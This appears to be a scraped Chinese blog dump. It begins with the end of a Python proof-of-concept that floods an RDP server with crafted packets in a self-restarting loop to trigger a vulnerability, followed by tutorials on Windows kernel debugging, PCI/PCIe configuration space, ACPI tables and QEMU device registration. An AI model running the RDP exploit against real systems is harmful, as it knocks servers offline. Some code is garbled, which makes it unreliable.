        p = b"\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    elif arch == "64":
        p = b"\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14"
        p1 = b"\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x00"
        p2 = "\x04\x00\x00\x00\x03\x00\x00\x00"+"\x50\x00\x03\x00"
    else:
        print("Make the second arguement '32' or '64' without quotes")
        sys.exit()
    ba = bytearray()
    ba.extend(map(ord, p+p2))
    # # tpkt len
    ba[2] = struct.pack(">h", len(p+p2))[0]
    ba[3] = struct.pack(">h", len(p+p2))[1]
    # # # MCSi len
    ba[7+6] = len(p2)
    tls.sendall(bytes(ba))

    # trigger
    p3 = "\x04\x00\x00\x00\x03\x00\x00\x00"+"\x30\x16"+'\x00\x00'+struct.pack(', 0x500)+'a'*0x500
    bb = bytearray()
    bb.extend(map(ord, p1+p3))
    # # tpkt len
    bb[2] = struct.pack(">h", len(p1+p3))[0]
    bb[3] = struct.pack(">h", len(p1+p3))[1]
    # # # MCSi len
    bb[7+6] = (len(p3)>>8)|0x80
    bb[7+7] = len(p3)&0xff
    while 1:
        tls.sendall(bytes(bb))


IP = ''
def main():
    global IP
    tls = send_init_packets(IP)

    send_client_data(tls)
    print("[+] ClientData Packet Sent")
    
    send_channel_packets(tls)
    print("[+] ChannelJoin/ErectDomain/AttachUser Sent")

    send_client_info(tls)
    print("[+] ClientInfo Packet Sent")

    # print "try recv"
    # tls.recv(8192)
    # print "try recv"
    # tls.recv(8192)
    import time
    time.sleep(5) # Magic action! I don't know why server won't response correctly, but this works.

    send_confirm_active(tls, None)
    print("[+] ConfirmActive Packet Sent")
    
    send_establish_session(tls)
    print("[+] Session Established")

    send_data_to_rdplic(tls, '64')
    print("[+] Vuln Should Trigger")


def checkThread(sleeptimes=2,initThreadsName=[]):
    for i in range(0,10080):#循环运行
        nowThreadsName=[]#用来保存当前线程名称
        now=threading.enumerate()#获取当前线程名
        for i in now:
            nowThreadsName.append(i.getName())#保存当前线程名称

        for ip in initThreadsName:
            if  ip in nowThreadsName:
                pass #当前某线程名包含在初始化线程组中，可以认为线程仍在运行
            else:
                print '==='+ip,'stopped，now restart'
                t=threading.Thread(target=main,args=())#重启线程
                t.setName(ip)#重设name
                t.start()
        time.sleep(sleeptimes)#隔一段时间重新运行，检测有没有线程down


if __name__ == '__main__':
    if len(sys.argv) !=2:
        print "python poc.py 192.168.170.1"
        exit(0)
    else:
        IP = sys.argv[1]
    print 'target ip:'+IP
    names = [1,2,3,4]
    threads=[]
    initThreadsName=[]#保存初始化线程组名字
    for i in names:
        t=threading.Thread(target=main,args=())
        t.setName(i)
        threads.append(t)

    for t in threads:
        t.start()

    init=threading.enumerate()#获取初始化的线程对象
    for i in init:
        initThreadsName.append(i.getName())#保存初始化线程组名字

    check=threading.Thread(target=checkThread,args=(2,initThreadsName))#用来检测是否有线程down并重启down线程
    check.setName('Thread:check')
    check.start()

使用workstation配置 Windows 内核调试

2023-02-22T11:54:44.259Z

本篇讲如何简单配置windows内核调试. 使用虚拟机调试windows 的方法分为两种, 一种是pipe, 一种是网络.

pipe方法

添加串口到虚拟机

安装好虚拟机后, 添加串口设配, 配置如下

配置虚拟机windows系统(简称Guest)

按组合键win+r, 输入 msconfig.做如下配置

重启虚拟机

配置外部主机(检查Host)

找到windbg的快捷方式, 右键属性, 添加参数-b -k com:port=\\.\pipe\com_1,baud=115200,pipe”

连接调试器

在Guest启动后, 在Host打开刚才设置的windbg快捷方式, 如下便连接成功

添加符号

网络方法

假设虚拟机是windows 10, ip 为 192.168.170.12, 主机ip为 192.168.170.1, 在虚拟机中使用管理员打开powershell, 执行以下命令:

PS C:\Windows\system32> Bcdedit /set dbgtransport kdnet.dll
操作成功完成。
PS C:\Windows\system32> Bcdedit /debug yes
操作成功完成。
PS C:\Windows\system32> Bcdedit /dbgsettings net hostip:192.168.170.1 port:50110
Key=3tiyrjeh9h9w5.19vgro94onrdc.1wckyll43kv3r.yf1gyp2ymc3n
PS C:\Windows\system32>

此处使用的port是 50110, 设置后会出现一个key.
设置好后重启一下虚拟机, 重启后, 在主机使用以下命令连接虚拟机:

1	WinDBG -k net:port=50110,key=3tiyrjeh9h9w5.19vgro94onrdc.1wckyll43kv3r.yf1gyp2ymc3n

hyper-v的hypervisor调试配置

1 2	bcdedit /set hypervisordebug on bcdedit /hypervisorsettings NET HOSTIP:192.168.170.1 PORT:50000

windbg远程调试用户程序

Guest里, 安装同版本windbg, 在 C:\Program Files\Windows Kits\10\Debuggers\x64\目录, 执行

.\dbgsrv -t tcp:port=50000, 监听50000端口

在主机执行 windbg -premote tcp:Port=50000,Server=192.168.150.152, 连接目标虚拟机. 弹出windbg窗口后, 直接F6选择需要附加的程序.

参考

PCI 配置空间介绍

2023-02-22T11:54:44.243Z

经常和虚拟化打交道, 一定会涉及到虚拟设备的初始化, 这就需要对硬件的初始化操作有一定的了解. 初始化硬件设备, 主要就是激活IO port 和IO memory的功能, 对于一些PCIe设备, 还可能需要激活一些capabilities. 本文的内容不是有条理的介绍, 更偏向于资料的整理. 希望可以帮助到大家.

PCI

PCI配置空间和内存空间是分离的，那么如何访问这段空间呢？我们首先要对所有的PCI设备进行编码以避免冲突，通常我们是以三段编码来区分PCI设备，即Bus Number, Device Number和Function Number,以后我们简称他们为BDF(已知大部分VID表 )。为了保证其唯一性，Vendor ID应当向PCI特别兴趣小组(PCI SIG)申请而得到。

为了为PCI设备分配CPU-relative space，计算机系统需要知道其所申请的地址空间的类型、基址等，这些信息记录在设备的BAR中，每个PCI配置空间拥有6个BAR，因此每个PCI设备最多能映射6段地址空间(实际很多设备用不了这么多)。PCI配置空间的初始值是由厂商预设在设备中的，于是设备需要哪些地址空间都是其自己定的，可能造成不同的PCI设备所映射的地址空间冲突，因此在PCI设备枚举(也叫总线枚举，由BIOS或者OS在启动时完成)的过程中，会重新为其分配地址空间，然后写入PCI配置空间中。

通过memory space访问设备I/O的方式称为memory mapped I/O，即MMIO，这种情况下，CPU直接使用普通访存指令即可访问设备I/O。

通过I/O space访问设备I/O的方式称为port I/O，或者port mapped I/O，这种情况下CPU需要使用专门的I/O指令如IN/OUT访问I/O端口。

常见的MMIO例子有，VGA card将framebuffer映射到memory space，NIC将自己的片上缓冲映射到memory space，实际上，最典型的MMIO应该是DRAM，它将自己的存储空间映射到memory space，是占用CPU地址空间最多的“设备”。

一个典型的PCI架构如下:

PCIe

PCI是并行总线, 虽然表面上看, 并行总线会比串行总线一次性串数的数据更多, 但是随着频率的提高, 线路干扰越加严重, 而且并行传输对线路的一致性要求非常高, 设计更加麻烦, 而串行总线通过提高频率, 可以有效提高传输速度和传输质量, 因此PCIe采用了串行差分信号传输.

Intel pci 寄存器格式

有了BDF我们既可以唯一确定某一PCI设备。不同的芯片厂商访问配置空间的方法略有不同，我们以Intel的芯片组为例，其使用IO空间的CF8h/CFCh地址来访问PCI设备的配置寄存器 (参考Accessing PCI Express* Configuration Registers Using Intel® Chipsets).

当我们需要获取/修改特定设备值时:

1 2	write((1<<31)\|(bus number<<16)\|(dev number<<11)\|(func number<<8)\|reg_number, 0xcf8)**; read(0xcfc);// or write(value, 0xcfc);

关于如何配置PCI空间, 可以参考此链接.

PCI配置空间

PCI设备都有一个256字节的配置空间, 前0x40 bytes有固定的格式规范, header type 为 0 的结构如下:

其中Device ID和Vendor ID是区分不同设备的关键，OS和UEFI在很多时候就是通过匹配他们来找到不同的设备驱动（Class Code有时也起一定作用）。更多参考或者 PCI Local Bus Specification 第六章.

command 细节说明:

与PCIE配置差异

Type 0	Base Address Registers (0x10:0x24)	All Bits	PCIe Endpoint devices must set the BAR’s prefetchable bit while the range does not contain memory with read side-effects or where the memory does not tolerate write merging. 64-Bit Addressing MUST be supported by non legacy Endpoint devices. The minimum memory address range requested by a BAR 128-bytes.
Type 0	Min_Gnt/Max_Lat Registers (0x3E:0x3F)	All Bits	Does not apply to PCIe. Hardwired to 0.

Enhanced Configuration Mechanism

PCIe配置空间

PCIe规范为每个PCIe设备添加了更多的配置寄存器，空间为4K，尽管CFG_ADDR和CFG_DATA寄存器方法仍然能够访问lower 255 bytes，但是必须提供另外一种方法来访问剩下的（255B~4K）range寄存器。Intel的解决方案是使用了预留256MB内存地址空间，对这段内存的任何访问都会发起PCIe配置cycle。

由于4K的配置空间是directly mapped to memory的，那么PCIe规范必须保证所有的PCIe设备的配置空间占用不同的内存地址，按照PCIe规范，支持最多256个bus，每个Bus支持最多32个PCIe devices，每个device支持最多8个function,也就是说：占用内存的最大值为：256 * 32 * 8 * 4K = 256MB。被PCIe配置空间占用的256M内存空间会屏蔽掉DRAM使用该段内存区，这些地址都由CPU出厂时已经固化好了。老男孩读PCIe之六：配置和地址空间, 从cpu角度理解pcie.

下图是ARM Cortex-A9 datasheet内存地址分配局部图:

下图是Ubuntu Guest的cat /proc/iomem的截图:

图中的MMConfig(也叫 MMCFG) 就是PCIe的配置空间的映射地址. 因为只有0x80个bus, 所以size为 0x1000 * 8 * 32 * 128 = 0x800,000.

0000:00:0f.0 的意义是:segment number: bus number : device number: function number

下图是windows的RWeverything工具读取的内容:

关于如何获取该地址, 参见后续ACPI章节.

windows 获取ACPI的MCFG也可以通过FirmwareTablesView 工具读取MCFG表, 获取0x2C位置的地址, 即为segment0对应的baseAddr.

访问PCIe设备配置空间时候需要手动计算访问PCIe配置空间的地址。计算发放如下:

SIZE_PER_FUNC = 4K = 1000h (fn<<12)

SIZE_PER_DEVICE = 4K * 8 = 8000h (dev<<15)

SIZE_PER_BUS = 4K * 8 * 32 = 100000h (bus<<20)

访问总线号为busNo，设备号为DevNo，功能号为funcNo的offset寄存器的计算公式是：

Memory Address = BaseAddr+ busNo * SIZE_PER_BUS+ devNo * SIZE_PER_DEVICE+ funcNo * SIZE_PER_FUNC+ offset

PCIe在存储域地址空间分为三部分，PCIe控制器本身的寄存器、PCIe设备的配置空间、PCIe设备空间。寄存器和配置空间由处理器本身决定存储地址范围，ARM Cortex-A9 处理器地址范围如下图所示，配置空间地址、寄存器地址及内存地址都已经确定。PCIe设备空间需要编程人员去配置Outbound和Inbound寄存器组，确定映射关系。

Outbound在PCIe控制器中扮演的角色是将存储地址翻译到PCIe域的PCIe地址，Inbound是将PCIe地址翻译成存储地址，下图是一个完整的RC和EP模型地址翻译模型，图中的地址数字仅仅代表一种形态，具体地址应该是什么在后文中讲解。当cpu需要访问EP的内存空间时，首先应该将存储地址转换成PCIe地址，在根据TLP到达指定的EP，进而将PCIe地址转换成EP端的存储地址。参考

RC(Root Complex)

CPU只能直接访问Host内存（Memory）空间（或者IO空间，我们不考虑），不对PCIe等外设直接操作。RC可以为CPU分忧。

CPU如果想访问某个设备的空间，由于它不能（或者不屑）亲自跟那些PCIe外设打交道，因此叫太监RC去办。比如，如果CPU想读PCIe外设的数据，先叫RC通过TLP把数据从PCIe外设读到Host内存，然后CPU从Host内存读数据；如果CPU要往外设写数据，则先把数据在内存中准备好，然后叫RC通过TLP写入到PCIe设备。以下是图形示例:

上图例子中，最左边虚线的表示CPU要读Endpoint A的数据，RC则通过TLP（经历Switch）数据交互获得数据，并把它写入到系统内存中，然后CPU从内存中读取数据（紫色箭头所示），从而CPU间接完成对PCIe设备数据的读取。

具体实现就是上电的时候，系统把PCIe设备开放的空间（系统软件可见）映射到内存空间，CPU要访问该PCIe设备空间，只需访问对应的内存空间。RC检查该内存地址，如果发现该内存空间地址是某个PCIe设备空间的映射，就会触发其产生TLP，去访问对应的PCIe设备，读取或者写入PCIe设备。

BAR(base address register)

Bar内存空间的细节:

计算bar空间大小方式如下:

向bar 写入全1
读回寄存器里面的值，然后clear 上图中特殊编码的值，(IO 中bit0，bit1， memory中bit0-3)
取反+1, 得到空间大小.

映射地址空间

使用I/O内存首先要申请,然后才能映射,使用I/O端口首先要申请,对I/O端口的请求是让内核知道你要访问该端口,内核并让你独占该端口. 申请I/O端口的函数是request_region, 申请I/O内存的函数是request_mem_region。request_mem_region函数并没有做实际性的映射工作，只是告诉内核要使用一块内存地址，声明占有，也方便内核管理这些资源。重要的还是ioremap函数，ioremap主要是检查传入地址的合法性，建立页表（包括访问权限），完成物理地址到虚拟地址的转换。

可以通过cat /proc/ioports 和cat /proc/iomem 来查看系统已有的映射情况.

workstation更换memory 地址

write 新地址到bar
重新激活command的第2个比特. 这样映射就会生效

PCI to PCI bridge

它的配置空间如下:

其中的三组绿色的BUS Number和多组黄色的BASE/Limit对，它决定了桥和桥下面的PCI设备子树相应/被分配的Bus和各种资源大小和位置。这些值都是由PCI枚举程序来设置的。

Capabilities

PCI-X和PCIe总线规范要求其设备必须支持Capabilities结构。在PCI总线的基本配置空间中，包含一个Capabilities Pointer寄存器，该寄存器存放Capabilities结构链表的头指针。在一个PCIe设备中，可能含有多个Capability结构，这些寄存器组成一个链表，其结构如图：

示例

HDAudio的配置空间说明如下:

以下是Workstation模拟的HDAudio的配置空间:

似乎capability pointer指向的偏移处都是PCI power management功能的. XHCI就是这样.

VMware workstation

遍历PCI设备

void retrieveAddress(u32 vid, u32 did, u32 *bar0, u32 *bar2) {

u32 bus, dev, func;
u32 dwAddr, dwData;
//u16 VID, DID, SVID, SDID;
//u32 addr = 0;

for (bus = 0; bus <= 255; bus++)
{
for (dev = 0; dev < 32; dev++)
{
for (func = 0; func < 8; func++)
{
dwAddr = 0x80000000 + (bus << 16) + (dev << 11) + (func << 8);
/* read vendor id */
outl(dwAddr, PCI_CONFIG_ADDRESS);
dwData = inl(PCI_CONFIG_DATA);

if ((((dwData >> 16) & 0xffff) == did) &&// vendor id
((dwData & 0xffff) == vid)) {// dev id
outl(dwAddr | 0x10, PCI_CONFIG_ADDRESS);// bar0
*bar0 = inl(PCI_CONFIG_DATA);
if (*bar0 & 1) {
*bar0 ^= 1;
}
//outl(dwAddr | 0x18, PCI_CONFIG_ADDRESS);// bar2
//*bar2 = inl(PCI_CONFIG_DATA);
}
///*  read sub-vendor id*/
//outl(dwAddr | 0x10, PCI_CONFIG_ADDRESS);
//addr = inl(PCI_CONFIG_DATA);


//if (dwData != 0xffffffff)
//{
//count++;
//VID = dwData & 0xffff;
//DID = (dwData >> 16) & 0xffff;
//SVID = dwData1 & 0xffff;
//SDID = (dwData1 >> 16) & 0xffff;
//printk("%02X\t%02X\t%02X\t%04X\t%04X\t%04X\t%04X\t\n",
//bus, dev, func, VID, DID, SVID, SDID);
//}
}
}
}
}

Linux设备的初始化流程

pci_enable_device(struct pci_dev *dev)
pci_enable_device_flags(struct pci_dev *dev, unsigned long IORESOURCE_MEM|IORESOURCE_IO){
read bars from PCI;
do_pci_enable_device(dev, bars);
// power on
pci_set_power_state(enable){// 可能pcie才需要这个
                     pci_set_full_power_state(dev){
                         pci_power_up(dev){
                             pci_write_config_word(dev, dev->pm_cap + PCI_PM_CTRL, 0);//PCI_PM_CTRL=4
                         }
                     }
    //*(pcie+pcie->cap_pointer +4) = PCI_D0;//PCI_D0 = 0
}
// enable IO bar
pcibios_enable_device(struct pci_dev *dev, int bars)
pci_enable_resources(dev, bars);{
// if bar is 6, means ROM resource
r = &dev->resource[i];
if (r->flags & IORESOURCE_IO)
cmd |= PCI_COMMAND_IO;
if (r->flags & IORESOURCE_MEM)
cmd |= PCI_COMMAND_MEMORY;
pci_write_config_word(dev, PCI_COMMAND, cmd);
}
// check interrupt and enable
if (dev->msi_enabled || dev->msix_enabled)
return 0;
pci_write_config_word(dev, PCI_COMMAND,
      cmd & ~PCI_COMMAND_INTX_DISABLE);
}
// 配置pci bar空间
pci_request_regions(pci, "ICH HD audio");
pci_request_selected_regions(pdev, ((1 << 6) - 1), res_name);{
for (i = 0; i < 6; i++){
__pci_request_region(pdev, i, res_name, excl)){
if (pci_resource_flags(pdev, bar) & IORESOURCE_IO){
request_region(pci_resource_start(pdev, bar),pci_resource_len(pdev, bar), res_name)// 不做啥, 只是告诉内核要用这个内存
}else{
__request_mem_region(pci_resource_start(pdev, bar),pci_resource_len(pdev, bar), res_name,exclusive)//不做啥, 只是告诉内核要用这个内存
}
dr = find_pci_dr(pdev);
if (dr)
dr->region_mask |= 1 << bar;
}
}
}
// ioremap
addr = pci_resource_start(pci, 0);// get bar0
ioremap(addr, pci_resource_len(pdev, 0));
pci_set_master(pci);
__pci_set_master(struct pci_dev *dev, bool enable){
            pci_read_config_word(dev, PCI_COMMAND, &old_cmd);
cmd = old_cmd | PCI_COMMAND_MASTER;
pci_write_config_word(dev, PCI_COMMAND, cmd);
        }
pcibios_set_master(dev);{
            if (pci_is_pcie(dev))
                return;

            pci_read_config_byte(dev, PCI_LATENCY_TIMER, &lat);
            if (lat < 16)
                lat = (64 <= pcibios_max_latency) ? 64 : pcibios_max_latency;
            else if (lat > pcibios_max_latency)
                lat = pcibios_max_latency;
            else
                return;

            pci_write_config_byte(dev, PCI_LATENCY_TIMER, lat);
        }

void pci_pm_init(struct pci_dev *dev){
    pm = pci_find_capability(dev, PCI_CAP_ID_PM){
        pos = __pci_bus_find_cap_start(dev->bus, dev->devfn, dev->hdr_type){
            pci_bus_read_config_word(bus, devfn, PCI_STATUS, &status);
            if (!(status & PCI_STATUS_CAP_LIST))
                return 0;

            switch (hdr_type) {
            case PCI_HEADER_TYPE_NORMAL:
            case PCI_HEADER_TYPE_BRIDGE:
                return PCI_CAPABILITY_LIST;
            case PCI_HEADER_TYPE_CARDBUS:
                return PCI_CB_CAPABILITY_LIST;
            }
        }
        if (pos)
            pos = __pci_find_next_cap(dev->bus, dev->devfn, pos, cap){
                int ttl = PCI_FIND_CAP_TTL;
                return __pci_find_next_cap_ttl(bus, devfn, pos, cap, &ttl){
                    pci_bus_read_config_byte(bus, devfn, pos, &pos);

                    while ((*ttl)--) {
                        if (pos < 0x40)
                            break;
                        pos &= ~3;
                        pci_bus_read_config_word(bus, devfn, pos, &ent);

                        id = ent & 0xff;
                        if (id == 0xff)
                            break;
                        if (id == cap)
                            return pos;
                        pos = (ent >> 8);
                    }
                }
            }

        return pos;
    }
}

名词解析

PCI Address Domain

The PCI address domain consists of three distinct address spaces: configuration, memory, and I/O space.

PCI Configuration Address Space

Configuration space is defined geographically; in other words, the location of a peripheral device is determined by its physical location within an interconnected tree of PCI bus bridges. A device is located by its bus number and device (slot) number. Each peripheral device contains a set of well-defined configuration registers in its PCI configuration space. The registers are used not only to identify devices but also to supply device configuration information to the configuration framework. For example, base address registers in the device configuration space must be mapped before a device can respond to data access.

The method for generating configuration cycles is host dependent. In IA machines, special I/O ports are used. On other platforms, the PCI configuration space can be memory-mapped to certain address locations corresponding to the PCI host bridge in the host address domain. When a device configuration register is accessed by the processor, the request is routed to the PCI host bridge. The bridge then translates the access into proper configuration cycles on the bus.

PCI Configuration Base Address Registers

The PCI configuration space consists of up to six 32-bit base address registers for each device. These registers provide both size and data type information. System firmware assigns base addresses in the PCI address domain to these registers.

Each addressable region can be either memory or I/O space. The value contained in bit 0 of the base address register identifies the type. A value of 0 in bit 0 indicates a memory space and a value of 1 indicates an I/O space. Figure A-4 shows two base address registers: one for memory; the other for I/O types.

Figure A-4 Base Address Registers for Memory and I/O

PCI Memory Address Space

PCI supports both 32-bit and 64-bit addresses for memory space. System firmware assigns regions of memory space in the PCI address domain to PCI peripherals. The base address of a region is stored in the base address register of the device’s PCI configuration space. The size of each region must be a power of two, and the assigned base address must be aligned on a boundary equal to the size of the region. Device addresses in memory space are memory-mapped into the host address domain so that data access to any device can be performed by the processor’s native load or store instructions.

PCI I/O Address Space

PCI supports 32-bit I/O space. I/O space can be accessed differently on different platforms. Processors with special I/O instructions, like the Intel processor family, access the I/O space with in and out instructions. Machines without special I/O instructions will map to the address locations corresponding to the PCI host bridge in the host address domain. When the processor accesses the memory-mapped addresses, an I/O request will be sent to the PCI host bridge. It then translates the addresses into I/O cycles and puts them on the PCI bus. Memory-mapped I/O is performed by the native load/store instructions of the processor.

PCI Hardware Configuration Files

Hardware configuration files should be unnecessary for PCI local bus devices. However, on some occasions drivers for PCI devices need to use hardware configuration files to augment the driver private information. See driver.conf(4) and pci(4) for further details.

额外信息

pci_mcfg_lookup

Get bus number in windows

// Get the BusNumber
status = WdfDeviceQueryProperty( device,
DevicePropertyBusNumber,
sizeof(ULONG),
(PVOID)&busNumber,
&length);
if ( !NT_SUCCESS(status) )
{
error_print("Failed to get PCIe bus number.");
}

// NOTE: https://lkml.org/lkml/2013/12/5/256 says: the "change to
// definition of the "Bus" field into the recently released ACPI
// Spec 5.0a section 18.3.2.3-5: ... The Bus is encoded in bits 0-7.
// For systems that expose multiple PCI segment groups, the segment
// number is encoded in bits 8-23 and bits 24-31 must be zero."
devContext->pcie_bus = (uint8_t)busNumber;
devContext->pcie_segment = (busNumber >> 8) & 0xFFFF;

ACPI

ACPI（Advanced Configuration and Power Interface）Table是BIOS提供给OSPM的硬件配置数据，包括系统硬件的电源管理和配置管理，ACPI Table有很多表，根据存储的位置，可以分为：

1） RSDP位于F段，用于OSPM搜索ACPI Table，RSDP可以定位其他所有ACPI Table

2） FACS位于ACPI NVS内存，用于系统进行S3保存的恢复指针，内存为NV Store

3）剩下所有ACPI Table都位于ACPI Reclaim内存，进入OS后，内存可以释放

其中绿色代表在内存F段，蓝色是ACPI Reclaim内存，红色是NV store内存.

整个ACPI表以RSDP（Root System Descriptor Pointer
Table）为入口点，每个非叶子节点都会包含指向其他子表的指针，各个表都会有一个表头，在该表头中包含了相应的Signature，用于标识该表，有点类似与该表的ID，除此之外，在表头中还会包含Checksum、Revision、OEM ID等信息。所以查找ACPI表的关键就是在内存中定位到RSDP表。

对于基于Legacy BIOS的系统而言，RSDP表所在的物理地址并不固定，要么位于EBDA（Extended BIOS Data Area, 位于物理地址0x40E）的前1KB范围内；要么位于0x000E0000 到0x000FFFFF的物理地址范围内。Linux kernel在启动的时候，会去这两个物理地址范围，通过遍历物理地址空间的方法寻找RSDP表，即通过寻找RSDP表的Signature（RSD PTR）来定位RSDP的位置，并通过该表的length和checksum来确保找到的表是正确的。

示例

The RSDT is the main System Description Table. However there are many kinds of SDT. All the SDT may be split into two parts. One (the header) which is common to all the SDT an another (data) which is different for each table.

The header structure of the header is:

struct ACPISDTHeader {
  char Signature[4];
  uint32_t Length;
  uint8_t Revision;
  uint8_t Checksum;
  char OEMID[6];//0x10
  char OEMTableID[8];
  uint32_t OEMRevision;
  uint32_t CreatorID;//0x20
  uint32_t CreatorRevision;
};

通过暴力搜索内存中的”RSD PTR”字符串, 找到对应的内容. 定位+0x10指向的地址, 得到RSDT表.参考视频

MCFG table:

其中44(0x2C)位置的 Base Address of enhanced configuration mechanism 就是 segment(有的成为group) 为 0 的MMConfig 的地址.

Get MMCFG or MCFG in kernel

How to access pci express configuration space via MMIO? , pci express configuration space access .

windows 用户态

UINT WINAPI EnumSystemFirmwareTables(
     _In_ DWORD FirmwareTableProviderSignature,
     _Out_writes_bytes_to_opt_(BufferSize, return) PVOID pFirmwareTableEnumBuffer,
     _In_ DWORD BufferSize
);
UINT WINAPI GetSystemFirmwareTable(
    _In_ DWORD FirmwareTableProviderSignature,
    _In_ DWORD FirmwareTableID,
    _Out_writes_bytes_to_opt_(BufferSize, return) PVOID pFirmwareTableBuffer,
    _In_ DWORD BufferSize
);
// 第一次先取得 ACPI Tables Enum Buffer Size
PBYTE buffer;
DWORD buffer_size = EnumSystemFirmwareTables('ACPI', 0, 0);
if (buffer_size == 0)
   return false;

// 產生一塊Buffer去取得 ACPI Tables Enum
buffer = new BYTE[buffer_size];
if (EnumSystemFirmwareTables('ACPI', buffer, buffer_size) != buffer_size)
{
   free(buffer);
   return false;
}

or
   PBYTE table_uffer;
   DWORD table_buffer_size;
// read MCFG table
   if(GetSystemFirmwareTable('ACPI', 'GFCM', table_uffer, buffer_size)){
      typedef struct _sACPITableHeader {
         BYTESignature[4];
         DWORDLength;
         BYTERevision;
         BYTEChecksum;
         BYTEOEMID[6];
         BYTEOEMTableID[8];
         DWORDOEMRevision;
         BYTECreatorID[4];
         DWORDCreatorRevision;
     } sACPITableHeader;

     // 取的 ACPI Table Buffer
     //... 
   }

windows 内核态

#include 
#pragma comment(lib, "Aux_Klib.lib")
void * kzalloc(u32 size, u32 notuse) {
UNREFERENCED_PARAMETER(notuse);
void *mem = ExAllocatePool(NonPagedPool, size);
memset(mem, 0, size);
return mem;
}
u32 *pFirmwareTableEnumBuffer = kzalloc(0x4000, 0);
ret = AuxKlibInitialize();
u32 ret = AuxKlibGetSystemFirmwareTable(
'ACPI',
'GFCM',//MCFG
pFirmwareTableEnumBuffer,
0x4000,
&len
);
or 
ntStatus = AuxKlibEnumerateSystemFirmwareTables(
   'ACPI',
   NULL,
   0,
   &sigListSize
   );
buff = kzalloc(sigListSize);
ntStatus = AuxKlibEnumerateSystemFirmwareTables(
   'ACPI',
   buff,
   sigListSize,
   NULL
   );

ATU(Address Translation Unit)

TLP中的地址哪里来？ATU转换过来的。这个问题就是这么的简单。ATU是什么？是一个地址转换单元，负责将一段存储器域的地址转换到PCIe总线域地址，除了地址转换外，还能提供访问类型等信息，这些信息都是ATU根据总线上的信号自己做的，数据都打包到TLP中，不用软件参与。软件需要做的是配置ATU，所以如果ATU配置完成，并且能正常工作，那么CPU访问PCIe空间就和访问本地存储器空间方法是一样的，只要读写即可。

这就解释了存储器地址和TLP地址字段的关系了。至此，地址相关的问题就解决了。

ATU配置举例：以kernel 4.4中designware PCIe host驱动为例

static void dw_pcie_prog_outbound_atu(struct pcie_port *pp, int index,
int type, u64 cpu_addr, u64 pci_addr, u32 size)
{
    // 使用哪个ATU
dw_pcie_writel_rc(pp, PCIE_ATU_REGION_OUTBOUND | index,
  PCIE_ATU_VIEWPORT);
    // source地址（存储器域）的低32位
dw_pcie_writel_rc(pp, lower_32_bits(cpu_addr), PCIE_ATU_LOWER_BASE);
dw_pcie_writel_rc(pp, upper_32_bits(cpu_addr), PCIE_ATU_UPPER_BASE);
    // space size
dw_pcie_writel_rc(pp, lower_32_bits(cpu_addr + size - 1),
  PCIE_ATU_LIMIT);
    // 目标地址空间（PCIe总线地址）
dw_pcie_writel_rc(pp, lower_32_bits(pci_addr), PCIE_ATU_LOWER_TARGET);
dw_pcie_writel_rc(pp, upper_32_bits(pci_addr), PCIE_ATU_UPPER_TARGET);
    // 空间类型（mem or IO）
dw_pcie_writel_rc(pp, type, PCIE_ATU_CR1);
    // 使能ATU
dw_pcie_writel_rc(pp, PCIE_ATU_ENABLE, PCIE_ATU_CR2);
}

QEMU虚拟化设备简介

2023-02-22T11:54:44.243Z

简单介绍qemu的虚拟化组件的初始化和入口

虚拟化设备分为两类, 一种是全虚拟化, 一种是半虚拟化.

一般来说, 全虚拟化设备是指设备相关的实现都在物理机的用户态, 半虚拟化是部分实现在物理机的内核态. 一个常见的半虚拟化标准是virtio设备标准.

但是不同平台的不同虚拟化软件, 对同一个虚拟化设备的实现存在差异, 所以也不一定是按前面的说法去实现的.

传统IO设备

传统的IO设备是全虚拟化设备, 此类设备有IO port及IO memory, 可以通过写IO相关的端口或者内存实现设备交互.

虚拟设备的注册

qemu的每个虚拟化设备都会调用 type_init() 确认设备的注册操作, 调用 type_register/type_register_static 来注册一个虚拟设备, 传入的结构体如下:

struct TypeInfo
{
    const char *name;
    const char *parent;

    size_t instance_size;
    size_t instance_align;
    void (*instance_init)(Object *obj);
    void (*instance_post_init)(Object *obj);
    void (*instance_finalize)(Object *obj);

    bool abstract;
    size_t class_size;

    void (*class_init)(ObjectClass *klass, void *data);
    void (*class_base_init)(ObjectClass *klass, void *data);
    void *class_data;

    InterfaceInfo *interfaces;
};

以e1000为例的设备注册操作:

static void e1000_register_types(void)
{
    int i;

    type_register_static(&e1000_base_info);
    for (i = 0; i < ARRAY_SIZE(e1000_devices); i++) {
        const E1000Info *info = &e1000_devices[i];
        TypeInfo type_info = {};

        type_info.name = info->name;
        type_info.parent = TYPE_E1000_BASE;
        type_info.class_data = (void *)info;
        type_info.class_init = e1000_class_init;

        type_register(&type_info);
    }
}

TypeImpl *type_register_static(const TypeInfo *info)
{
    return type_register(info);
}

type_init(e1000_register_types)

.name 决定了设备名称, 在qemu中使用 -device 查看所有device的时候可以看到的名字.

.class_init 指示了设备初始化的函数, 这里我关注e1000_class_init的初始化操作.

static void e1000_class_init(ObjectClass *klass, void *data)
{
    DeviceClass *dc = DEVICE_CLASS(klass);
    PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);
    E1000BaseClass *e = E1000_CLASS(klass);
    const E1000Info *info = data;

    k->realize = pci_e1000_realize;
    k->exit = pci_e1000_uninit;
    k->romfile = "efi-e1000.rom";
    k->vendor_id = PCI_VENDOR_ID_INTEL;
    k->device_id = info->device_id;
    k->revision = info->revision;
    e->phy_id2 = info->phy_id2;
    k->class_id = PCI_CLASS_NETWORK_ETHERNET;
    set_bit(DEVICE_CATEGORY_NETWORK, dc->categories);
    dc->desc = "Intel Gigabit Ethernet";
    dc->reset = qdev_e1000_reset;
    dc->vmsd = &vmstate_e1000;
    device_class_set_props(dc, e1000_properties);
}
struct PCIDeviceClass {
    DeviceClass parent_class;

    void (*realize)(PCIDevice *dev, Error **errp);
    PCIUnregisterFunc *exit;
    PCIConfigReadFunc *config_read;
    PCIConfigWriteFunc *config_write;

    uint16_t vendor_id;
    uint16_t device_id;
    uint8_t revision;
    uint16_t class_id;
    uint16_t subsystem_vendor_id;       /* only for header type = 0 */
    uint16_t subsystem_id;              /* only for header type = 0 */

    /*
     * pci-to-pci bridge or normal device.
     * This doesn't mean pci host switch.
